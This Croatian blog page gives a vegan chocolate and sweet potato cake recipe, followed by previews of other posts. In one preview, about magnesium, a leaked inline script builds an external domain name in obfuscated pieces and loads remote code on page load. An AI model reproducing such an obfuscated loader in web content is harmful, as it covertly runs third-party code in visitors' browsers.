VEGANSKA ČOKOLADNA TORTA S BATATOM 🍰 🍫





Veganska čokoladna torta s batatom 



Narančasti slatki krumpir tajna je sočnosti ovoga veganskog deserta, a koji se priprema isključivo sa sastojcima biljnog porijekla. Sastoji se od neodoljivo sočnog biskvita i podjednako slasne kreme te je idealan za vegane i vegetarijance.




Veganska čokoladna torta s batatom 


Sastojci:

Za biskvit:

  • 150 g pirea od batata
  • 120 g glatkog brašna
  • 120 ml biljne zamjene za mlijeko
  • 60 g šećera
  • 60 g javorovog sirupa
  • 30 g tamne čokolade
  • 30 g kakaa u prahu
  • 2 čajne žličice ekstrakta vanilije
  • 1 žlica octa
  • 1 čajna žličica praška za pecivo
  • ½ čajne žličice sode bikarbone

Za glazuru:

  • 200 g pirea od batata
  • 125 ml maslaca od badema
  • 100 g šećera
  • 50 g kakaa u prahu
  • 30 ml biljne zamjene za mlijeko
  • 1 čajna žličica ekstrakta vanilije
  • prstohvat soli



Priprema:

  1. Napravite glazuru: izmiksajte batat, šećer, kakao, bademov maslac, zamjenu za mlijeko, ekstrakt vanilije i sol dok ne dobijete glatku smjesu. Stavite glazuru u hladnjak da se ohladi i stisne.
  2. Napravite biskvit: u blenderu pomiješajte batat, javorov sirup, ocat, ekstrakt vanilije i biljnu zamjenu za mlijeko dok smjesa ne postane glatka. U drugoj zdjeli prosijajte brašno i kakao prah, dodajte prašak za pecivo i sodu bikarbonu te šećer. Pomiješajte “suhe” i “vlažne” sastojke dok se ne sjedine. U smjesu dodajte i komadiće nasjeckane tamne čokolade.
  3. Smjesu za biskvit prebacite u okrugli kalup za torte promjera oko 20 centimetara, a koji ste prethodno obložili papirom za pečenje. Stavite peći biskvit u prethodno zagrijanu pećnicu na 180 Celzijevih stupnjeva oko 20 do 25 minuta, odnosno dok biskvit nije pečen do kraja. Provjerite čačaklicom je li biskvit pečen prije nego što ga izvadite iz pećnice.
  4. Ohladite biskvit do kraja, pa ga premažite s glazurom i poslužite. Dobar tek!



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više